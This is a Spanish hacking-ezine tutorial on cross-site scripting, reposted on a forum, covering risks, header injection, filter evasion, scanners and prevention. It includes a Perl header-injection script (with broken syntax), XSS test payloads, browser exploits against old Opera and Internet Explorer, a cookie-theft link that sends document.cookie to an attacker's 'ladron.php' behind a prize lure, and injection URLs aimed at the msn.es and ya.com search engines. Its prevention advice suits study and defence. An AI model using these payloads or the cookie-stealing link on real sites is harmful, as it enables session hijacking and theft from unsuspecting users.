XSS por taseh - CPH hacking and security

=-[ 0x0b ]-==================================================================
=-[ NetSearch Ezine #8 ]-====================================================
=-[ Cross Site Scripting (XSS) ]-============================================
=-[ por Taseh ]-=============================================================

______________ ______________ ______________ ______________ _______
| |
| Indice |
|_______________________________________________________________|

1. -- Preambulo.

2. -- Los riesgos.

2.1 -- Elementos potencialmente sensibles.
2.2 -- Posibilidades del atacante.
2.3 -- Consecuencias.

3. -- Los ataques.

3.1 -- Inyeccion XSS en formularios.
3.2 -- Inyeccion XSS en cabeceras.
3.3 -- XST: Cross Site Tracing.
3.4 -- Tecnicas mas usadas para evadir el filtrado.

4. -- Auditoria de errores.

4.1 -- Automatizacion de la tarea de escaneo de errores.

5. -- Prevencion de problemas de Cross Site Scripting.

5.1 -- Uso de cabeceras <META> "content-type".
5.2 -- Tolerancia al uso de determinadas etiquetas.
5.3 -- Metodos efectivos de filtrado.

6. -- Apendice A: Cosas interesantes.

6.1 -- Algunas posibilidades de interes.
6.2 -- Exploits.
6.3 -- Errores en sitios conocidos.

7. -- Enlaces y recursos.
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

______________ ______________ ______________ ___________ _____ ____ ___ __ _
| / /
| / 1 / Preambulo.
|_/___/_______________________________________________ _____ ____ ___ __ _

�Que es Cross Site Scripting o XSS?

"El Cross Site Scripting consiste en la inclusi�n de codigo malicioso
HTML o de scripting en una pagina con contenidos generados dinamicamente
como consecuencia de un mal filtrado de las entradas de fuentes no fiables."

Esta es la definicion que me ha dado el amigo ergosum. Es la mas correcta
que he encontrado.

La descripcion que yo he aportado a la wikipedia en castellano es la
siguiente:

XSS
De Wikipedia, la enciclopedia libre.

XSS (Cross Site Scripting) - tipo de vulnerabilidad surgida como consecuencia
de errores de filtrado de las entradas del usuario en aplicaciones web.

Se trata de usar diversas t�cnicas para inyectar c�digo de marcas (HTML),
c�digo ejecutable en la maquina cliente (JavaScript/VBScript/ActiveX) o c�digo
ejecutable en el servidor (PHP/ASP/Perl/Python/TCL/SSI) en las entradas de
aplicaciones web con el f�n de conseguir muy diversos objetivos limitados por
la capacidad del lenguaje inyectado para vulnerar al cliente o al servidor de
la aplicacion web.

XST (Cross Site Tracing) - Vulnerabilidad derivada de Cross Site Scriptig que
surge a causa de algun error de filtrado y del uso del comando TRACE de HTTP
1.1 con el fin de incrementar el riesgo para el servidor.

(
Para ver este enlace Registrate o Inicia Sesion )
(
Para ver este enlace Registrate o Inicia Sesion )

El origen de los errores de filtrado en aplicaciones web y su principal
consecuencia, los ataques de cross site scripting (XSS) esta en la
dinamizacion incontrolada de los servicios web y la mayor confianza
otorgada a los usuarios de estos, provocadas por la demanda de
participacion por parte del publico.

El uso de cualquier tipo de aplicacion web dinamica y relacionada con el
usuario, por ejemplo, Common Gateway Interfaces (CGI) o preprocesadore s
de hipertexto (PHP o ASP) pueden hacer que una pagina, en ocasiones su
servidor, y la maquina cliente se vean afectados por este tipo de ataques
que seran tratados en el texto.

En este texto no tratare a fondo las posibilidades que ofrece javascript,
vbs y los principales lenguajes de script, para la explotacion de errores,
ni las funciones inseguras de php, perl, phyton, etc. En principio solo
tratare de abordar los apartados de riesgos, ataques, posibilidades y
soluciones.

Al final del articulo, y solo por cumplir, he puesto un apendice donde
pueden leerse posibilidades alternativas de los ataques XSS, exploits
basados en errores de los navegadores mas usados, etc.

______________ ______________ ______________ ___________ _____ ____ ___ __ _
| / /
| / 2 / Los riesgos.
|_/___/_______________________________________________ _____ ____ ___ __ _

Los riesgos para el cliente que implica un ataque de cross site scripting
estan limitados por el nivel de seguridad global de nuestro sistema, es
decir, S.O, Cliente HTTP y aplicaciones adyacentes (Reproductores
multimedia e interpretes de aplicaciones web determiadas y ejecutables en
maquina cliente como flash, por ejemplo) etcetera.

Los riesgos en servidores suelen ser determinados por la seguridad del
servidor HTTP que se utilice, la seguridad en los lenguajes que acepte
(PERL, PHP...), las aplicaciones dinamicas que utilice (CGI), la
configuracion de extensiones como los Server Side Includes o los propios
modulos del servidor, etc.

2.1 - Elementos potencialmente sensibles.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Todas las aplicaciones web con participacion del usuario, aunque la
participacion de este sea muy indirecta pueden convertirse facilmente en
vulnerables.

Particularizan do un poco mas esto, todas las aplicaciones que muestren
datos en una pagina, que han sido introducidos por el cliente desde otra
son vulnerables a no ser que tengan sistemas de filtrado o tengan algun
tipo de mecanismo para convertir los caracteres sospechosos introducidos
a texto utilizando las entidades de los caracteres que tiene HTML.

-*- CGIs, PHP, ASP.

Usualmente estos elementos son los encargados de procesar los datos
que llegan del cliente a traves de un formulario, por ello sean quiza
los mas sensibles, y sobre los que mas se ha de prestar atencion a la
hora de tomar medidas de prevencion como sistemas de filtrado, etc.

-*- Sistemas de estadisticas y registro (log).

Son vulnerables mediante la tecnica de inyeccion en cabeceras que sera
explicada algo mas adelante. Los sistemas de estadisticas preguntan
por la procedencia del visitante (HTTP-REFERER), el navegador que usa
el visitante (USER-AGENT) y algunos otros datos. Bien, el navegador
responde automaticament e a estos datos, pero si se inicia una sesion
telnet con el servidor, el atacante puede modificar a su gusto estos
datos inyectando scripts, codigo php, etc. Normalmente en los sistemas
de estadisticas los datos de usuarios como referer, y cliente HTTP
se reflejan.

-*- Foros.

Actualmente la mayoria de foros medianamente desarrollados presentan
sistemas de filtrado efectivos. Pero tambien existen muchos foros de
origen "amateur" o no comercial, que no filtran correctamente los
datos que introducen los usuarios.

-*- Buscadores.

Logicamente, los mas conocidos y usados deberian presentar proteccion.
Pero, por ejemplo, el buscador de MSN y el de ya.com no la presentan
segun mis pruebas.

-*- Flash.

La empresa de seguridad eyeon security descubrio que las aplicaciones
flash podian convertirse en vulnerables. La importancia de este hecho
es grande, un alto porcentaje de usuarios tienen el plug-in de flash
activo. Los errores de filtrado en flash permiten el mismo tipo de
posibilidades que las aplicaciones web corrientes.

-*- Sistemas de portales o comunidades web.

Tambien este tipo de sistemas son vulnerables. Aplicaciones como PHP
Nuke son famosas por la cantidad de fallos de cross site scripting que
se descubren y que las hacen vulnerables.

-*- En definitiva, cualquier aplicacion web.

Cualquier aplicacion web puede llegar a ser vulnerable de actividades
maleficas por los usuarios.

2.2 - Posibilidades del atacante.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

-*- Robo de cookies.

Es una de las posibilidades que da javascript a los atacantes, en el
articulo no lo explicare, aunque me parece correcto colocar un enlace
a un buen texto que si lo explica:

http://b0iler.eyeonsecurity.org/tutorials/javascript.htm

-*- Robo o secuestro de sesiones.

Tampoco desarrollare esta posibilidad. En el articulo ya mencionado
"hacking with javascript" viene toda la informacion sobre este tipo
de explotaciones. Esta directamente relacionado con el robo de cookies.

-*- Insercion de scripts de cualquier tipo.

JavaScript, VBScript, y ActiveX, los mas peligrosos los dos ultimos,
que pueden hacer que el cliente se baje y ejecute codigo malicioso sin
que el usuario se de cuenta, pueden ejecutar comandos en la shell del
cliente, pueden hacer modificaciones en la maquina cliente, etc.

En la subseccion "exploits" de la seccion "apendice" se pueden
encontrar algunos codigos que ilustran el aprovechamient o de algunas
de estas posibilidades, basados todos ellos en errores del cliente.

-*- Insercion de codigo PHP, ASP, TCL, Perl, Phyton...

Tambien existe la posibilidad de inyectar codigo ejecutable en
el servidor gracias a un ataque de cross site scripting, pero en
este texto no se tratara esta posibilidad. Al inyectar este tipo
de codigos se pueden colgar CGIs, aprovechar vulnerabilidad es
conocidas, etc. Todo depende, como siempre de la seguridad y las
posibilidades que nos brinde el lenguaje utilizado.

-*- Uso de SSI para vulnerar al servidor.

Esto es especialmente peligroso para los servidores que no tengan los
Server Side Includes correctamente configurados. Un atacante remoto
podria hacer un "deface" o ejecutar comandos en el servidor con una
simple invocacion de estas variables.

-*- Explotacion de bugs de navegador y S.O. del cliente.

Como he mencionado antes, la inyeccion de codigos tipo js, activex
o vbs, aunque tambien simplemente etiquetas malformadas de html
tienen la capacidad de explotar algun error en el cliente. En la
seccion "apendice" hay algunos ejemplos en forma de codigo .

-*- Otras muchas posibilidades.

Todo lo que queda por descubrir :).

2.3 - Consecuencias.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Las consecuencias son obvias, siendo la parte mas perjudicada el cliente
en la mayoria de casos.

______________ ______________ ______________ ___________ _____ ____ ___ __ _
| / /
| / 3 / Los ataques.
|_/___/_______________________________________________ _____ ____ ___ __ _

Los ataques se pueden dar por diversas vias, formularios, cabeceras de
conexion http y muchos otros apartados con participacion del usuario aun
por explorar. Tambien aqui describo el peligro del uso del comando TRACE
de HTTP 1.1 que puede a�adir problemas a un ataque XSS.

La forma de aprovechar los errores de filtrado es la inyeccion de codigo
de cualquier tipo (Llamadas a SSI, codigo JS,HTML,ActiveX,etc...).

3.1 - Inyeccion XSS en formularios.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Es la via de ataque xss mas comun utitilizar los formularios como medio
para intentar inyectar el codigo malicioso en otra pagina.

Detras de los formularios se encuentra siempre algun elemento con la
capacidad de procesar los datos recogidos del formulario, llamesele cgi,
script php, perl, python o tcl, o simplemente javascript.

En muchos casos, los datos recogidos tienen salida en otra pagina, y ahi
es donde se plantea el problema, dado que en los casos en que la salida
no sea parseada, filtrada o como quiera llamarsele, se abre una puerta
a las vulnerabilidad es XSS.

3.2 - Inyeccion XSS en cabeceras.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

La fundamentacion de este tipo de errores XSS se encuentra en el texto
"Header Based Exploitation" de Zenomorph-CGISecurity, cuyo enlace puede
encontrarse al final de este articulo, en el apartado de enlaces y
recursos.

Al establecerse una comunicacion HTTP, como en todas, existe un intercambio
de datos. El cliente le dice al servidor que quiere que se le muestre x
pagina, que la interfaz de su navegador esta en castellano, que su
navegador es tal, que acepta x tipos de archivo, y que proviene de x sitio,
por ejemplo. Logicamente la mayor parte de ese intercambio se produce
automaticament e entre el navegador y el servidor, teniendo el usuario
unicamente, la posibilidad de decidir que es lo que quiere del servidor
(que se le muestre x pagina).

Muchas paginas usan algunos datos de la sesion HTTP del usuario para
mostrarlos como sistemas de registro, estadisticas, o un simple mensaje
tipo "Su navegador es: (direccion)" o "Usted proviene de: (referer)"
entre muchas otras cosas.

El problema se plantea si un usuario con malas ideas inicia una sesion
con el servidor, siendo el mismo el que intercambie los datos con el
servidor, e introduciendo los datos que a el le de la gana (HTML, JS...).

Código:

# telnet xxx 80

Trying xxx...
Connected to xxx.

Escape character is '^]'.

GET index.html HTTP/1.0
Referer: <script>alert('ayer fui dios, hoy soy un reloj')</script>
User-agent: </BODY></HTML>

<...>

Aqui os pongo un simple codigo ilustrativo cuya funcion es inyectar
los datos de USER-AGENT y HTTP-REFERER especificados por el usuario
desde la linea de comandos. La labor de ver si la pagina no filtra
debera ser manual.

[CODE:header_xss.pl]

#!/usr/bin/perl -w

# XSS-HEADER injector

# Prueba de concepto sin estar probada :)
# taseh'03

use IO::Socket;

my $host = @argv[0];
my $inject = @argv[1];
my $inj3ct = @argv[2];
my $gett = "/"; # cambiar por lo que queremos que se reclame... :)

if (@argv < 2){

print "\n\n$0 - XSS-Header injector -prueba de concepto-";
print "\nUso: $0 <host> <string1> <string2>";
exit;

}

print "Conectando con $host...";
my $socket = IO::Socket::INET->new(
Proto => 'tcp',
PeerAddr => $host,
PeerPort => "80", or die"\n\nNo puedo conectar con $server";
# ^^ cambiar puerto si es distinto :)
}

$socket->autoflush(1);
print $socket "GET $gett HTTP/1.0\n";
print $socket "Host: $host\n";
print $socket "Referer: $inject\n"; # inyecta referer falseado
print $socket "User-Agent: $inj3ct\n\n"; # inyecta cli.id falseado

print "\nInyeccion finalizada :).\n";

close $socket;

exit;

Bien, para comprobar si la cadena que queriamos inyectar ha sido realmente
inyectada en la pagina de salida basta con visitarla o bajarnosla y hacer
un cat pagina.html | grep <nuestracadena> y ver si esta o simplemente
visualizarla y ver el efecto de nuestro codigo inyectado.

3.3 - XST: Cross Site Tracing.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

El problema fue descubierto por WiteHat Security y basicamente se basa en
el uso del comando TRACE (HTTP 1.1), siempre que este activo y permitido a
usuarios, para incrementar el riesgo de los ataques de cross site
scripting

El comando TRACE, nuevo en el protocolo HTTP 1.1 sirve para que el
cliente compruebe lo que el servidor recibe de el.

Existe un whitepaper explicando este tipo de errores en profundidad:

Para ver este enlace Registrate o Inicia Sesion

3.4 - Tecnicas para evadir el filtrado.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Los sistemas de analisis sintactico de entradas no son infalibles en muchos
casos. Veamos simples tecnicas para tratar de enga�arlos.

   ~ Filtrado por javascript/similares ~

Existen casos en que el filtrado de los caracteres lo realiza un script
(javascript) empotrado en la pagina, donde, por ejemplo al pulsar el boton
'enviar' el script incrustado en la pagina se encarga de revisar el campo
de texto entrada y avisa al usuario mediante una popup de error de que su
entrada tiene x caracteres no admisibles.

El modo de saltarse este sistema de filtrado es sencillo, basta con mirar
el codigo del form y ver la direccion del cgi o script que procesara el
formulario, sus atributos, la direccion del cgi o script que procesara el
formulario y se envia de manera independiente de la pagina.

OJO! En el caso de que el el script encargado de filtrar no se encuentre en
la pagina desde donde se envia el formulario, sino en la pagina donde se
muestran los datos recogidos del formulario no tenemos nada que hacer.
Esto tambien es una posibilidad. En el articulo del CERT sobre prevencion
de codigo malicioso existe un ejemplo de sistema de filtrado js a colocar
en la pagina de destino de los datos.

   ~ Contra preprocesado de datos. ~

Cuando digo preprocesado de datos me refiero a todos las aplicaciones web
que filtran las cadenas introducidas de manera independiente de las paginas.
Es decir, en el propio cgi o script, y no en las paginas de entrada y
salida como en el caso anterior.

Solo existe una forma de evadir este tipo de sistemas de filtrado, y no
es efectiva completamente. El medio para intentar evadirlos es simplemente
convertir los caracteres considerados peligrosos como '<' y '>' a su
equivalente hexadecimal '&3C' y '%3E' respectivament e, o convertir toda
la cadena sospechosa. Esto es debido a algunos errores en algunos sistemas
de filtrado.

Aqui encontrareis una utilidad en javascript que codifica en tiempo real
las cadenas de texto ascii en su entidad hexadecimal:

Para ver este enlace Registrate o Inicia Sesion
encoding%20tool

______________ ______________ ______________ ___________ _____ ____ ___ __ _
| / /
| / 4 / Auditoria de errores
|_/___/_______________________________________________ _____ ____ ___ __ _

Bien, lo voy a explicar de una manera facil. Como he explicado antes, a
priori todas las paginas que realicen intercambios de datos (cualquier app
web) y cualquier tipo de sistema que a partir de una entrada del usuario
muestre una pagina de salida, pueden ser vulnerables.

Desmontando un formulario.

Los formularios, como sabreis, son un elemento primordial en html para
la comunicacion cliente - servidor. Permiten al usuario dar datos a un
servidor y al servidor procesar los datos del usuario.

Un ejemplo de una pagina con un formulario simple:

<html>
<body>

<form name="form" method="post" action="http://[direccion]/cgi-bin/phoro.cgi">
<input size="30" type="text" name="string">
<input type="submit" value="Enviar cadena">
</form>

</body>
</html>

La apariencia de la pagina vista desde un navegador sera la siguiente
(echadle algo de imaginacion):
________
__________________________ | |
Mensaje: |__________________________| | ENVIAR |
|________|

Rellenar ese formulario desde un cliente web y darle al boton "ENVIAR"
daria el mismo resultado que solicitar una peticion GET al servidor con
la cadena:

http://[direccion]/cgi-bin/phoro.cgi?string=(cadena).

Podria hacer un script en perl para probar si un servidor es vulnerable
a la inyeccion en formularios, pero con el ejemplo anterior del script
de inyeccion de cabeceras y unos dos minutos, vosotros mismos podeis
hacerlo.

Aun no se porque he escrito esta parte del articulo, supongo que para
que las personas de pocos conocimientos puedan entender mejor de que va
el tema.

Inyeccion de scripts ejecutables en maquina cliente.

Javascript suele ser el lenguaje mas presente en clientes HTTP, mientras
que ActiveX y VBS suelen estar mas controlados por el mayor juego de
posibilidades que implica su uso y en algunos navegadores no se encuentran
implementados.

Con probar si esta permitido el uso de javascript nos vale. Si esta activo
probablemente atacante tambien puediera inyectar codigo vbs o activex.

Podemos probar a inyectar estas cadenas.

<SCRIPT>alert('yeah');</SCRIPT>
<A href="javascript:alert('yeah');">Hi![/url]
<IMG src="javascript:alert('yeah');">
<BGSOUND src="javascript:alert('yeah');">
<BODY onload="alert('yeah');">
<STYLE type="text/javascript">alert('yeah');</STYLE>

Hay muchos otros modos de meter ordenes javascript en etiquetas HTMl,
incluso en Cascading Stylesheets (CSS). Algunos sistemas de filtrado
muy mal dise�ados solo eliminan las etiquetas "<script>". No podemos
ignorar que se pueda empotrar una cadena de script en una etiqueta
inofensiva aparentemente.

Flash.

Flash es un potente 'lenguaje?' que tambien aporta dinamismo a las paginas y
puede usarse como aplicacion web interoperante entre cliente y servidor.
En el articulo Bypassing the javascript filters: the flash attack esta
disponible informacion suficiente sobre estos ataques, y existe una
traduccion al castellano del articulo publicada en la ezine DTF#4.
Los enlaces al original y a la traduccion estan al final del articulo.

Inyeccion en paginas preprocesadas y CGI scripts.

Esto es algo bastante complejo, inyectar codigo ejecutable en el servidor
como ASP, PERL, PHP o Phyton no es tan facil para un atacante como inyectar
codigo de script ejecutable en cliente, estaria ligado a las funciones
inseguras de estos lenguajes, y podria ser considerado otro tipo de ataque
a parte de XSS.

Inyeccion SSI

La inyeccion de ordenes SSI es especialmente peligrosa para el servidor.
Puede llegara hacer que el atacante juegue con las posibilidades que le de
el servidor a los SSI.

Para probar este problema podemos podemos intentar que el servidor nos deje
hacer un ls y mirar si el servidor nos muestra la salida de dicho ls en la
pagina que resulte.



Esto simplemente es un ejemplo, si el servidor nos deja utilizar exec
seguro que las demas ordenes ssi estan activas y permitidas. Podemos
probar con alguna otra instruccion SSI menos comprometedora como print.

Hay un monton de posibilidades en este campo!

Inyeccion en cabeceras.

Para probar este tipo de vulnerabilidad se puede hacer uso del script
o "prueba de concepto" que llame "headerinjector", que coloque arriba,
y comprobar el impacto de la inyeccion de nuestro script en la pagina de
manera separada

4.1 - Automatizacion de la tarea de escaneo de errores XSS.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Resulta bastante tedioso analizar una pagina, buscando sus errores sin
la ayuda de una herramienta que se encargue de hacerlo automaticament e.
Para ello disponemos de dos herramientas gratuitas; XSSLint, que es un
modulo para Perl, y ScreamingCSS, que es una utilidad en perl basada en
el escaner de CGIs ScreamingCobra de dachb0den labs, y algunas otras
utilidades comerciales como WebInspect, AppScan o WiteHat Arssenal.

   ~ XSS-Lint ~

URL:
Para ver este enlace Registrate o Inicia Sesion

Se trata de un modulo de Perl dise�ado para ser implementado en
programas que analicen paginas en busca de errores de cross site
scripting.

La verdad es que no he visto ningun programa que lo utilice.

   ~ ScreamingCSS de Dave DeVitry ~

URL:
Para ver este enlace Registrate o Inicia Sesion

Es una herramienta hecha en perl y basada en el scanner de CGI de
dachb0den labs ScreamingCobra .

   ~ Witehat Arssenal de WhiteHatSec ~

URL:
Para ver este enlace Registrate o Inicia Sesion

Utiliza la popular libreria LibWhisker (RFP) para facilitar las tareas.
Presenta una interfaz desde el navegador muy amigable. Es una utilidad
comercial, pero tiene muy buena pinta.

   ~ AppScan de Sanctum ~

URL:
Para ver este enlace Registrate o Inicia Sesion

Otra utilidad comercial que segun me han comentado es bastante eficiente.
Yo no la he podido probar :(.

   ~ WebInspect de Spidynamics ~

URL:
Para ver este enlace Registrate o Inicia Sesion

Es otra realmente buena herramienta para el escaneo de errores XSS.
Tambien es comercial, aunque existe una version de prueba de 15 dias.
Tiene un monton de opciones y su efectividad es bastante alta. Esta si
la podeis probar, y aseguro que no defrauda.

NOTA: Espero que pronto pueda empezar y acabar una utilidad gratuita que
iguale o mejore las caracteristica s de las herramientas anteriores.
Solo depende del tiempo que tenga! (se aceptan colaboraciones).

______________ ______________ ______________ ___________ _____ ____ ___ __ _
| / /
| / 5 / Prevencion de problemas de cross site scripting.
|_/___/_______________________________________________ _____ ____ ___ __ _

Las posibles soluciones para evitar vulnerabilidad es de inyeccion de
codigo no son complicadas de implementar, y con seguridad, siempre que
esten hechas a conciencia, impediran cualquier ataque de este tipo.

Aqui solo explico medidas que deba tomar el servidor. El cliente como
medida principal puede deshabilitar el interprete de codigo js/activex/vbs,
aunque es una medida bastante restrictiva es la mas segura de todas.
Tambien, existe la posibilidad de que el usuario tenga un navegador donde
se puedan configurar los niveles de seguridad (I.E. por ejemplo), en este
caso podria limitarse el uso de opciones peligrosas de los lenguajes de
script ejecutables en cliente sin sacrificar algunas opciones necesarias
para una navegacion completa.

Ademas de las medidas basicas que aqui describo, en las paginas dedicadas
a este tipo de problemas de Microsoft, Apache o Perl puede encontrarse
informacion especifica sobre como prevenir XSS en sus productos. Al final
del articulo estan los enlaces.

NOTA: No dedicado nada aqui sobre como solucionar el problema del XST. Tan
solo basta con deshabilitar TRACE de nuestro server HTTP.

5.1 - Uso de cabeceras <meta> "Content-Type".
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Incluyendo entre las cabeceras '<HEAD>' una especificacion del tipo de
contenido de la pagina que se muestra al cliente, se pueden evitar
algunos problemas.

<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

El problema esta en que ha sido probado que los clientes HTTP mas
utilizados, como Internet Explorer y Opera ignoran totalmente estas
cabeceras dejando via libre a los ataques XSS. Pero aun siendo esto
asi, solo son 72 bytes mas de codigo en la pagina y nunca se sabe... :).

5.2 - Tolerancia al uso de determinadas etiquetas.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Una posible opcion para esto es especificar unas etiquetas permitidas,
como hacen algunos sistemas de foros, adoptando la misma forma que en
HTML solo que encerradas, por ejemplo, entre los caracteres '[' y ']'.

El problema aqui ya no esta en nuestras manos. Siempre hay formas de
aprovecharse de las etiquetas del html o incluso de atributos de estilo
CSS (style="") para incrustar codigo en ellas. Por ejemplo, muchos de
estos sistemas permiten la insercion de imagenes encerradas entre

.

veamos que pasa...

lo siguiente:

es interpretado como:

si introducimos codigo js:

es interpretado como:

<img src="javascript:alert('hola');">

Incluso podemos usar

incluye en la pagina la presunta imagen 'carafea.jpg', lo que pasa es que
dentro de 'carafea.jpg' hay codigo malicioso...

$ cat carafea.jpg

<script>
alert('soy un buen osito');
alert('me como todos los honeypots que encuentro');
</script>

Y lo mismo pasa con otras muchas etiquetas como <A>. La conclusion es que
esto no es ninguna solucion para asegurar una pagina.

Por lo tanto, puede que la solucion mas efectiva sea un sistema de filtrado
medianamente complejo para eliminar estos riesgos.

5.3 - Metodos efectivos de filtrado de caracteres.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Elementos a fitrar:

++ Referer / user agent y cabeceras similares.
++ Cualquier entrada del usuario, en definitiva.

No es demasiado complicado filtrar los contenidos de una cadena de
caracteres introducida por el usuario y eliminar todos los contenidos
aparentemente peligrosos. La cosa se complica un poco si lo que nosotros
queremos no es recortar por completo las posibilidades de introducir
cualquier tipo de etiqueta html/js/etc a nuestros usuarios, sino permitir
algunas etiquetas y eliminar las mas peligrosas.

Para esto el cert da unas pautas de filtrado en uno de sus avisos de
seguridad titulado "Understanding Malicious Content Mitigation for Web
Developers" cuyo enlace se encuentra al final de este articulo, en el
capitulo "enlaces y recursos".

El CERT trata en su texto la forma de eliminar todo tipo de riesgo, que es
convertir todos los caracteres a texto visible. Esto se hace mediante un
script que sustituya, por ejemplo "><;()&"'/*" por sus respectivas entidades
especificas del codigo ascii (por ejemplo: "") o las permitidas
dentro del propio metalenguaje (">").

Pero el CERT no dice que se ha de hacer para permitir etiquetas HTML y no
permitir javascript, o para permitir etiquetas HTML revisandolas y
corrigiendolas . Bien, con esto el tema del filtrado se nos complica un
poco mas. Existen varios filtros escritos en PHP o PERL y varios documentos
que explican el correcto dise�o de un filtro efectivo y complejo. He puesto
algunos enlaces al final.

______________ ______________ ______________ ___________ _____ ____ ___ __ _
| / /
| / 6 / Apendice A: Cosas interesantes.
|_/___/_______________________________________________ _____ ____ ___ __ _

6.1 - Algunas posibilidades de interes.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Los ataques de cross site scripting pueden parecer inutiles o lames, pero
las posibilidades que dan al atacante pueden ser tan grandes como las da
un 0-day de un unico poseedor. Bueno, quiza exagere un poco, pero lo que
si se debe de tener claro es que las posibilidades de un simple error XSS
se pueden aprovechar de muy diferentes modos y pueden adoptar muy
diferentes riesgos, siempre relacionados con los conocimientos y la
creatividad de los atacantes. Este apendice mostrara algunas posibilidades
interesantes que nos brindan los errores XSS :). Las pongo en formato
descriptivo y cada cual que lo interprete a su manera (en forma de
codigo?). Pse, al final me he arrepentido... tambien pongo algunas en
forma de codigo :).

-- Utilizacion de APIs asociadas a el navegador, por ejemplo, de un
reproductor musical o de video (y no estoy mirando a ningun
WindowMediaPla yer ni nada xD) para hacer uso de ellas mediante vbs.

-- Posibilidad de camuflar scripts en .jpg, .gif, .txt, etc ya que el
I.E. y otros clientes HTTP conocidos no distinguen los tipos de
archivo por sus extensiones, permitiendonos crear un script con
extension amigable pero contenido indeseado.

-- Ademas de los errores en buscadores, tambien son muy frecuentes los
errores de paginas inexistentes (404), ya que en muchos portales
populares se muestra un mensaje personalizado se�alando el nombre del
documento que no existe (se puede solicitar al servidor una secuencia
de comandos de script). Aunque la pagina de error especifique un
"charset" y un tipo de contenido determinado, como he dicho antes,
muchos navegadores ignoran esas cabeceras desprotegiendo la maquina
cliente.

-- Opera y netscape permiten la ejecucion de java mediante javascript
en la maquina cliente, aumentando seriamente los riesgos de un ataque
de Cross Site Scripting.

Mas informacion en
Para ver este enlace Registrate o Inicia Sesion

-- Utilizando marcos o 'frames' se puede cambiar la apariencia de una
pagina (deface) sin dificultades.

-- Mas posibilidades: todo lo que puedas imaginar que pueda ser enmarcado
entre los limites de la tecnologia explotada y la usada para explotar.

6.2 - Exploits.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

Aqui recojo algunas pruebas de concepto (o como querais llamarlo) basadas
en advisories publicados en listas como bugtraq, webappsec, etcetera.

Lo mas logico es guardar los exploits en un archivo con extension amigable
para el cliente y el server (jpg, png, gif...) y llamarles mediante <img>.

-+ <A> +- Exploit para Opera (1).

+ Aviso oficial:

http://www.securityfocus.com/archive/1/319814

+ Explicacion:

+ Exploit:

<FRAME SRC="
Para ver este enlace Registrate o Inicia Sesion
00000000000000 00000000000000 00000000000000 00000000000000 00000000000000 000000
00000000000000 00000000000000 00000000000000 00000000000000 00000000000000 000000
00000000000000 00000000000000 00000000000000 00000000000000 000000.exe"></FRAME>

+ Solucion:

Actualizar a la ultima version de Opera o parchear si es que existe parche.

-+ <B> +- Flood en I.E. 6.

+ Aviso oficial:

"Flooding Internet Explorer 6.0.2800 (6.x?) security zones"

Para ver este enlace Registrate o Inicia Sesion

+ Explicacion:

Este bug es simple, consiste en hacer un flood de llamadas a programas
locales de manera automatica, usando frames y luego llamar a determinado
codigo que queremos que sea ejecutado.

+ Exploit:

<FRAME SRC="C:\windows\notepad.exe"></FRAME>
<FRAME SRC="C:\windows\regedit.exe"></FRAME>



<FRAME SRC="
Para ver este enlace Registrate o Inicia Sesion"></FRAME>
<FRAME SRC="
Para ver este enlace Registrate o Inicia Sesion"></FRAME>
<FRAME SRC="
Para ver este enlace Registrate o Inicia Sesion"></FRAME>
<FRAME SRC="
Para ver este enlace Registrate o Inicia Sesion"></FRAME>
<FRAME SRC="
Para ver este enlace Registrate o Inicia Sesion"></FRAME>

+ Solucion:

Actualizar a la ultima version de ie o esperar a que se publique un
parche para esta vulnerabilidad . Aunque la mejor opcion siempre es
usar otro cliente mejor like netscape/mozilla u opera ;).

-+ <C> +- Robo de cookies.

No iva a dejar sin explicar el tipico ejemplo de robo de cookies.

<A href="javascript:document.locat ion.replace('
Para ver este enlace Registrate o Inicia Sesion
ladron.php?'+document.cookie)">Gana un millon de euritos YA![/url]

Esta linea javascript enviara a nuestro script 'ladron.php' la cookie
robada, y ladron.php debera ser un script que almacene las cookies
robadas :). Lo demas ya se sabe...

++ Mas para explotar:

http://www.securityfocus.com/archive/1/320981
http://www.securityfocus.com/archive/1/314748
http://www.securityfocus.com/archive/1/314644
http://www.idefense.com/advisory/03.19.03.txt
http://www.securityfocus.com/archive/1/319813
http://www.securityfocus.com/archive/1/319814
http://packetstormsecurity.nl/0304-advisories/ie-heap1.txt
http://packetstormsecurity.nl/0305-advisories/secuniaOpera.txt
http://security.greymagic.com/adv/gm013-ie/
http://security.greymagic.com/adv/gm014-ie/
http://security.greymagic.com/adv/gm004-ie/

6.3 - Errores en sitios conocidos.
______________ ______________ ______________ ___________ _____ ____ ___ __ _

++ Buscador de msn.es :

Para ver este enlace Registrate o Inicia Sesion<script>alert('yeah')</script>

++ Buscador de ya.com :

Para ver este enlace Registrate o Inicia Sesion
1&S_IT=0&palabras=all&SE=C&TE=&item=<script>alert('yeah')</script>&submit2=
+Buscar+

++ Muchisimos otros mas. Solo teneis que probar.

++ Tambien he descubierto errores en sitios mas delicados; tiendas,
ministerios, proveedores de correo, etcetera... Por motivos obvios
he preferido no publicarlos, simplemente los he reportado.

_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

Tener una web dinamica conlleva sus riesgos, por lo que es preciso
establecer unos limites de control y confianza respecto al usuario y tomar
las medidas preventivas necesarias para evitar las consecuencias descritas.
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

______________ ______________ ______________ ___________ _____ ____ ___ __ _
| / /
| / 7 / Enlaces y recursos.
|_/___/_______________________________________________ _____ ____ ___ __ _

He aqui algunos de los documentos que han inspirado y han ayudado a
desarrollar este texto, y algunos lugares de internet que considero de
interes:

~
Para ver este enlace Registrate o Inicia Sesion -- Listado de sitios importantes con errores
XSS. Aspecto google :).

~
Para ver este enlace Registrate o Inicia Sesion
~
